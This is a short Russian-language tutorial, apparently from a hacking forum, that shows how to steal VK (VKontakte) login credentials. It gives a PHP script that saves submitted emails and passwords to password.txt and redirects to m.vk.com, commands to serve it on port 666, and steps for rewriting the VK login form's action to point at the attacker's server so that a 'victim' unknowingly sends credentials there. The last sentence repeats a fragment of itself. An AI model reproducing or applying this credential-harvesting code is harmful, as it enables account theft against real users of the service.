Поднимаем свой сервер!
Apache и Nginx настраивать нужно, поэтому вы можете немного запариться и сделать все, ставим:apt -y install php apache2 nginx
Я же пойду по простому пути: php -S ip:8080
ip - пишем локальный или глобальный адрес если мы выполняем на серверах все, пишем адрес сервера - php -S 8.8.8.8:8080
Создаём файл vk.php и директорию
mkdir vk_hack;cd vk_hack
nano vk.php | вставляем в файл vk.php код:
<?php
file_put_contents("password.txt", "VK" . $_POST['email'] . " Pass: " . $_POST['pass'] . "\n", FILE_APPEND);
header('Location: https://m.vk.com');
exit();
Заключительный этап
php -S ip:666 | Запускаем сервер! Заходим на сайт m.vk.com, жмём F12 и открывается инспектор, ищем параметр POST:
Нас интересует строка:
<form method="POST" action="https://login.vk.com/?act=login&_origin=https://m.vk.com&ip_h=f97a0bda5e3a6eac62&lg_h=2956e404aa19a76137&role=pda&utf8=1" novalidate="">
Стираем ссылку -
https://login.vk.com/?act=login&_origin=https://m.vk.com&ip_h=f973aac62&lg_h=29a761&role=pda&utf8=1
Заменяем ее на свою:
http://{ваш IP}:666/vk.php, закрываем инспектор, если обновить страницу все вернется на свои места, ссылку снова придёться менять!
Далее ваша жертва, вводит данные на домене m.vk.com где стоит SSL и переходит на нормальный m.vk.com, а у вас данные будут в файле password.txtас данные будут в файле password.txt
